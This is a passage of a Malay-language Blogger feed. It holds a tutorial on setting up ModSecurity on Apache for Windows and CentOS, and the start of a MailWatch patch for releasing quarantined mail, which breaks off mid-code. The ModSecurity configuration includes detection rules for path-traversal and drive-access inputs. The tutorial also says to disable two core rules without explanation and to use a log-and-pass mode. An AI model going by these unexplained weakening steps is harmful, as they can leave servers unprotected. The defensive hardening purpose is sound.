type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-RAdB6Y0Pqoc/TfnX2NtluNI/AAAAAAAAAzs/zlZyd84JOeI/s1600/mod_security1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-RAdB6Y0Pqoc/TfnX2NtluNI/AAAAAAAAAzs/zlZyd84JOeI/s1600/mod_security1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Sekarang ni tengah hot hackers nak serang portal gov.my atas sebab boikot SKMM blok laman web mengcetak rompakkan hasil seni filem-filem rakyat malaysia. Ini adalah versi updated 2.0 untuk kaedah pelaksanaannya.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Lokasi Fail Server Windows&lt;/b&gt;]&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;C:/xampp/apache/conf  – Folder menyimpan konfigurasi apache untuk xampp&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;C:/xampp/apache/conf/extra  – Folder menyimpan konfigurasi module untuk xampp&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;C:/wamp/bin/apache2.2.x/conf  – Folder menyimpan konfigurasi apache untuk wamp&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;C:/wamp/bin/apache2.2.x/conf/extra  – Folder menyimpan konfigurasi module untuk wamp&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;[Lokasi Fail Server Linux]&lt;/b&gt;&lt;br /&gt;➔ /etc/httpd – Folder menyimpan konfigurasi httpd&lt;br /&gt;➔ /etc/httpd/conf - Folder menyimpan konfigurasi httpd&lt;br /&gt;➔ /etc/httpd/conf.d - Folder menyimpan konfigurasi selain httpd&lt;br /&gt;➔ /var/log/httpd - Folder menyimpan log httpd&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;[WINDOWS - XAMPP &amp;amp; WAMP] &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Kaedah untuk configure mod security pada server Windows menggunakan apache versi 2 ke atas :&lt;br /&gt;&lt;br /&gt;1) Muat turun versi terkini mod_security untuk Ms Windows di URL &lt;br /&gt;http://www.apachelounge.com/download/mods/mod_security-2.6.0-win32.zip &lt;br /&gt;&lt;br /&gt;2) Cipta folder ‘/modules/mod_security2’ pada Apache dan salin fail-fail ‘pcre.dll’, ‘libxml2.dll’ dan ‘mod_security2.so’ ke folder tersebut.&lt;br /&gt;&lt;br /&gt;3) Muat turun fail dari website berikut ‘http://sourceforge.net/projects/mod-&lt;br /&gt;security/files/modsecurity-crs/0-CURRENT/’ dan download fail terkini dan ekstrak &lt;br /&gt;fail berkenaan ke folder ‘/conf/modsecurity’ pada Apache. &lt;br /&gt;&lt;br /&gt;4) Memasang aplikasi ‘Visual C++ 2008 Redistributable Package’ dengan muat turun dari website berikut 'http://www.microsoft.com/download/en/details.aspx?displaylang=en&amp;amp;id=29' &lt;br /&gt;&lt;br /&gt;5) Edit fail '/conf/modsecurity/base_rules/modsecurity_crs_20_protocol_violations.conf' dengan tambah '#' pada line 90 dan line 91.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;KONFIGURASI MOD_SECURITY &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;6) Edit fail ‘httpd.conf’ bagi memasang modul Mod_Security pada Apache, taipkan di &lt;br /&gt;bahagian bawah sekali file :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;# Memasang Mod_Security &lt;br /&gt;LoadModule security2_module modules/mod_security2/mod_security2.so &lt;br /&gt;LoadModule unique_id_module modules/mod_unique_id.so&lt;br /&gt;# This is the ModSecurity Core Rules Set.&lt;br /&gt;# Basic configuration options &lt;br /&gt;&amp;nbsp;SecRuleEngine On &lt;br /&gt;&amp;nbsp;SecRequestBodyAccess On &lt;br /&gt;&amp;nbsp;SecResponseBodyAccess Off &lt;br /&gt;&amp;nbsp;SecDefaultAction log,auditlog,deny,status:403,phase:2,t:lowercase,t:replaceNulls,t:compressWhitespace &lt;br /&gt;&amp;nbsp;SecAuditEngine RelevantOnly &lt;br /&gt;&amp;nbsp;SecAuditLogType Serial &lt;br /&gt;&amp;nbsp;SecAuditLog logs/mod_security2.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# Handling of file uploads &lt;br /&gt;&amp;nbsp;# SecUploadDir /opt/apache-frontend/tmp/ &lt;br /&gt;&amp;nbsp;SecUploadKeepFiles Off&lt;br /&gt;&amp;nbsp;# Debug log &lt;br /&gt;&amp;nbsp;SecDebugLog logs/modsec_debug.log &lt;br /&gt;&amp;nbsp;SecDebugLogLevel 0 &lt;br /&gt;&amp;nbsp;# Maximum request body size we will &lt;br /&gt;&amp;nbsp;# accept for buffering &lt;br /&gt;&amp;nbsp;SecRequestBodyLimit 131072 &lt;br /&gt;&amp;nbsp;# Store up to 128 KB in memory &lt;br /&gt;&amp;nbsp;SecRequestBodyInMemoryLimit 131072 &lt;br /&gt;&amp;nbsp;# Buffer response bodies of up to &lt;br /&gt;&amp;nbsp;# 512 KB in length &lt;br /&gt;&amp;nbsp;SecResponseBodyLimit 524288 &lt;br /&gt;&amp;nbsp;## General rules &lt;br /&gt;&amp;nbsp;SecRule ARGS "c:/" t:normalisePathWin&amp;nbsp; &lt;br /&gt;&amp;nbsp;SecRule ARGS "\.\./" "t:normalisePathWin,id:99999,severity:4,msg:'Drive Access'"&amp;nbsp; &lt;br /&gt;&amp;nbsp;SecRule ARGS "d:/" t:normalisePathWin &lt;br /&gt;&amp;nbsp;# End config&lt;br /&gt;Include modsecurity.d/*.conf&lt;br /&gt;Include modsecurity.d/base_rules/*.conf&lt;br /&gt;Include modsecurity.d/optional_rules/*.conf&lt;br /&gt;Include modsecurity.d/slr_rules/*.conf&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;MENGAKTIFKAN MOD_SECURITY &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;7) Restart Apache untuk mengaktifkan Mod_Security&lt;br /&gt;&lt;br /&gt;8) Semak juga website anda agar berfungsi seeloknye. Cuba hack website tu dan lihat pada error log. Sekiranya mod security blok maka selamatlah website anda.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;LINUX (CentOS, RHEL, Fedora)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Kaedah untuk configure mod security pada server Linux menggunakan apache versi 2 ke atas :&lt;br /&gt;&lt;br /&gt;1) Login ke dalam server menggunakan SSH&lt;br /&gt;&lt;br /&gt;2) Install mod security menggunakan kaedah berikut :&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# yum install mod_security&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3) Masuk ke folder httpd :&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# cd /etc/httpd/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4) Cipta folder modsecurity.d (jika tiada lagi) :&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# mkdir modsecurity.d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5) Muat turun fail dari website berikut ‘http://sourceforge.net/projects/mod-&lt;br /&gt;security/files/modsecurity-crs/0-CURRENT/’ dengan mengugnakan kaedah berikut :&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# wget http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/modsecurity-crs_2.2.0.tar.gz/download&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* Cuba cari fail yang terkini di website tersebut&lt;br /&gt;&lt;br /&gt;6) Ekstrak folder tersebut ke folder '/etc/httpd/modsecurity.d' :&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# tar -C /etc/httpd/modsecurity.d -zxvf modsecurity-crs_2.2.0.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;KONFIGURASI MOD_SECURITY&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;7) Masuk ke folder /etc/httpd/conf.d :&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# cd /etc/httpd/conf.d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;8) Cipta fail 'mod_security.conf' (jika tiada) di dalam '/etc/httpd/conf.d/' : &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# nano mod_security.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;9) Sila gunakan contoh fail seperti berikut : &lt;b&gt;&lt;a href="https://docs.google.com/leaf?id=0B7yz1S0GrjeJN2FkMzE0NzMtZmVlOC00MzE4LTk1ODYtYTZhOGNmMzUyOWQ5&amp;amp;hl=en_GB" style="color: purple;"&gt;Mod_Security.conf&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MENGAKTIFKAN MOD_SECURITY &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;10)Edit dengan tambah '#' pada line 90 dan line 91.&lt;br /&gt;&lt;br /&gt;11)Restart Apache untuk mengaktifkan Mod_Security&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# /etc/init.d/httpd restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;12)Memastikan mod_security berfungsi&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;# tail -f /var/log/httpd/error_log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sampel output :&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;[Sat May 09 23:18:31 2009] [notice] caught SIGTERM, shutting down&lt;br /&gt;[Sat May 09 23:18:33 2009] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)&lt;br /&gt;[Sat May 09 23:18:34 2009] [notice] ModSecurity for Apache/2.5.9 (http://www.modsecurity.org/) configured.&lt;br /&gt;[Sat May 09 23:18:34 2009] [notice] Original server signature: Apache/2.2.3 (CentOS)&lt;br /&gt;[Sat May 09 23:18:34 2009] [notice] Digest: generating secret for digest authentication ...&lt;br /&gt;[Sat May 09 23:18:34 2009] [notice] Digest: done&lt;br /&gt;[Sat May 09 23:18:35 2009] [notice] Apache/2.2.0 (Fedora) configured -- resuming normal operations&lt;/span&gt;&lt;/blockquote&gt;13)Semak juga website anda agar berfungsi sebaiknya. Cuba hack website tu dan lihat pada error log seperti langkah 11. Sekiranya mod security blok maka selamatlah website anda.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;AUTO UPDATE MOD SECURITY (OPTIONAL)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;14)AUTO UPDATE mod_security rules dari OWASP [untuk LINUX Server sahaja, untuk windows kena cari perl installer untuk run perl file].&lt;br /&gt;&lt;br /&gt;&amp;nbsp; A. Dapatkan senarai repository&lt;br /&gt;&amp;nbsp; &lt;span style="font-size: x-small;"&gt;# ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -l&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; B. Dapatkan versi terkini "modsecurity-crs" : &lt;br /&gt;&amp;nbsp; &lt;span style="font-size: x-small;"&gt;# ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -prules -Smodsecurity-crs&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="font-size: x-small;"&gt; Fetching: modsecurity-crs/modsecurity-crs_2.1.0.zip ...&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &lt;span style="font-size: x-small;"&gt;# ls -R rules&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;span style="font-size: x-small;"&gt; modsecurity-crs&lt;br /&gt;&amp;nbsp; rules/modsecurity-crs:&lt;br /&gt;&amp;nbsp; modsecurity-crs_2.1.0.zip&amp;nbsp;&amp;nbsp;&amp;nbsp; modsecurity-crs_2.1.0.zip.sig&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;TUNING RULES MOD SECURITY&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;15)Tambah line berikut dalam file '/etc/httpd/conf.d/mod_security.conf' :&lt;br /&gt;(Tujuannya adalah untuk membenarkan mod security berfungsi dan log sebarang aktiviti merbahaya dikenalpasti daripada rules yang dibina tanpa halangan. Ini bagi tujuan mengenalpasti sebarang rules yang mengganggu operasi Web Server tersebut)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;SecFilterDefaultAction log,pass&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SEMOGA BERJAYA!!!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6471868681258679247?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6471868681258679247/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6471868681258679247&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6471868681258679247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6471868681258679247'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/06/how-to-use-mod-security-in-httpd.html' title='How to Use Mod Security in httpd [updated 7th July 2011]'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-RAdB6Y0Pqoc/TfnX2NtluNI/AAAAAAAAAzs/zlZyd84JOeI/s72-c/mod_security1.jpg' height='72' width='72'/><thr:total>0</thr:total><georss:featurename>Kuantan, Pahang, Malaysia</georss:featurename><georss:point>3.824973 103.32389990000001</georss:point><georss:box>3.61326 103.18161190000002 4.0366859999999996 103.46618790000001</georss:box></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4712874504318902743</id><published>2011-06-07T11:47:00.014+08:00</published><updated>2011-06-08T10:23:25.722+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='MySpamGuard MasilScanner MailWatch'/><title type='text'>How to release accidentally spam mail in MailScanner to the recepient without the original message attached</title><content type='html'>&lt;div class="separator" style="clear: both; font-family: Verdana,sans-serif; text-align: center;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;a href="http://1.bp.blogspot.com/-yZWB2VsSmTg/Te2fMeRnXKI/AAAAAAAAAxo/kWv4lZpON_E/s1600/rman1118l.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="306" src="http://1.bp.blogspot.com/-yZWB2VsSmTg/Te2fMeRnXKI/AAAAAAAAAxo/kWv4lZpON_E/s320/rman1118l.jpg" width="320" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;Kes ni memang dah lama aku hadapi. Dan sering memerlukan aku ikut kaedah pergi ke server dan cari folder dan fail tu kendian baru la release semula kepada penerima emel tu. Sebab biasa la spam server ni ada kala terblok emel2 penting yang dihantar dari FREE mail hosting macam gmail dan yahoo ni. Even kekadang dari pengguna valid government domain pun terblok. Ini disebabkan oleh penggunaan kaedah scoring bagi perkara-perkara yang terdapat dalam emel tersebut. Contohnya semu huruf besar&amp;nbsp; di subject emel letakkan score = 3.5, limit score untuk tentukan emel spam atau bersih adalah 3.3. So dah sah2 emel tu akan dikategorikan sebagai emel spam..so bagi pengguna emel, kenala faham tugas IT Man ni bukannya mudah..nak kena rearrange semula scoring tu supaya match dengan current spam mail environment yang sering berubah-ubah.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;Mailwatch ni memang telah digunakan sebagai default monitoring emel spam untuk MailScanner. Sekarang dah ada versi lain dipanggil &lt;a href="http://www.baruwa.org/"&gt;Baruwa&lt;/a&gt;...macam budak melayu je buat..kalau ikut nama tu..ahaks!..Kaedah yang digunakan ini akan mengubah kaedah biasa Mailwatch berfungsi kebiasannya iaitu :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Emel tag sebagai spam akan dikuarantin&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Apabila di release menggunakan mailwatch ia akan dihantar oleh sender admin emel dan emel asal akan di jadikan sebagai attachment 'Original Message'.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Pengguna akan terima emel tersebut dimaklumkan bahawa emelnya telah dilepaskan dari kuarantin&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Pengguna tak boleh baca attachment dan kandungannya. Hanya header emel sahaja boleh dilihat..&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Ini masalahnya.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;Penyelesaian diperlukan :&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Emel tag sebagai spam akan dikuarantin&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Admin akan release menggunakan mailwatch dan menggunakan penghantar emel admin (untuk memudahkan whitelist) tapi sebenarnya apabila penerima menerima emel tersebut, penghantar emel sebenar yang menghantar emel tersebut kepada penerimanya&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Pengguna terima emel tersebut seolah-olah sebenarnya emel tu tak dikuarantin sebagai spam pun&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Pengguna boleh terus baca emel tersebut seperti biasa tanpa ada masalah&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;- Kaedah ini diinginkan.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;OS : CentOs 5.x&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;MailWatch : 1.04&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;MailScanner : 4.74.x &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;Beberapa perkara diperlukan :&lt;/span&gt;&lt;/div&gt;&lt;ul style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt;&lt;span style="font-size: x-small;"&gt;Mailfeeder&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="level1"&gt;&lt;div class="li"&gt;&lt;span style="font-size: x-small;"&gt;Patch to mailwatch&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Mailfeeder :&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;1) Install mailfeeder :&lt;/span&gt;&lt;/div&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;# wget http://www.pldaniels.com/mailfeeder/mailfeeder-0.2.3.tar.gz&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;2)  Extract dan bina fail tersebut :&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;# tar xzvf mailfeeder-0.2.3.tar.gz&lt;br /&gt;# cd mailfeeder-0.2.3&lt;br /&gt;# make&lt;br /&gt;# cp mailfeeder /usr/local/bin&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Patch MailWatch&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;1) buka fail : conf.php (dalam folder /var/www/html/mailscanner)&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;komen row berikut :&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;//define(QUARANTINE_USE_SENDMAIL, false);&lt;br /&gt;//define(QUARANTINE_SENDMAIL_PATH, '/usr/sbin/sendmail');&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;gantikan dengan :&lt;br /&gt;define(QUARANTINE_USE_SENDMAIL, true);&lt;br /&gt;define(QUARANTINE_SENDMAIL_PATH, '/usr/local/bin/mailfeeder');&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;2) buka fail :  functions.php (dalam folder /var/www/html/mailscanner)&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;tambah row berikut di lokasi berikut :&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DATE_FORMAT(date,'%Y%m%d') AS date, &lt;br /&gt;   id,&lt;br /&gt;   to_address,&lt;br /&gt;+  from_address,&lt;br /&gt;   CASE WHEN isspam&amp;gt;0 THEN 'Y' ELSE 'N' END AS isspam, &lt;br /&gt;   CASE WHEN nameinfected&amp;gt;0 THEN 'Y' ELSE 'N' END AS nameinfected,&lt;br /&gt;   CASE WHEN virusinfected&amp;gt;0 THEN 'Y' ELSE 'N' END AS virusinfected,&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;tambah row berikut di lokasi berikut :&lt;br /&gt;&lt;br /&gt;    $quarantined[$count]['host']  = $row-&amp;gt;hostname;&lt;br /&gt;    $quarantined[$count]['msgid'] = $row-&amp;gt;id;&lt;br /&gt;    $quarantined[$count]['to']  = $row-&amp;gt;to_address;&lt;br /&gt;+   $quarantined[$count]['from']  = $row-&amp;gt;from_address;&lt;br /&gt;    $quarantined[$count]['file']  = "message";&lt;br /&gt;    $quarantined[$count]['type']  = "message/rfc822";&lt;br /&gt;    $quarantined[$count]['path']  = $nonspam;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;tambah row berikut di lokasi berikut :&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;$quarantined[$count]['host']  = $row-&amp;gt;hostname;&lt;br /&gt;    $quarantined[$count]['msgid'] = $row-&amp;gt;id;&lt;br /&gt;    $quarantined[$count]['to']  = $row-&amp;gt;to_address;&lt;br /&gt;+   $quarantined[$count]['from']  = $row-&amp;gt;from_address;&lt;br /&gt;    $quarantined[$count]['file']      = "message";&lt;br /&gt;    $quarantined[$count]['type']      = "message/rfc822";&lt;br /&gt;    $quarantined[$count]['path']      = $spam;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;tambah row berikut di lokasi berikut :&lt;br /&gt;&lt;br /&gt;    $quarantined[$count]['host']         = $row-&amp;gt;hostname;&lt;br /&gt;    $quarantined[$count]['msgid']        = $row-&amp;gt;id;&lt;br /&gt;    $quarantined[$count]['to']           = $row-&amp;gt;to_address;&lt;br /&gt;+   $quarantined[$count]['from']  = $row-&amp;gt;from_address;&lt;br /&gt;    $quarantined[$count]['file']         = "message";&lt;br /&gt;    $quarantined[$count]['type']         = "message/rfc822";&lt;br /&gt;    $quarantined[$count]['path']         = $mcp;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;tambah row berikut di lokasi berikut :&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="file" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;$quarantined[$count]['host'] = $row-&amp;gt;hostname;&lt;br /&gt;      $quarantined[$count]['msgid'] = $row-&amp;gt;id;&lt;br /&gt;      $quarantined[$count]['to']  = $row-&amp;gt;to_address;&lt;br /&gt;+     $quarantined[$count]['from'] = $row-&amp;gt;from_address;&lt;br /&gt;      $quarantined[$count]['file']  = $f;&lt;br /&gt;      $file    = escapeshellarg($quarantine.'/'.$f);&lt;br 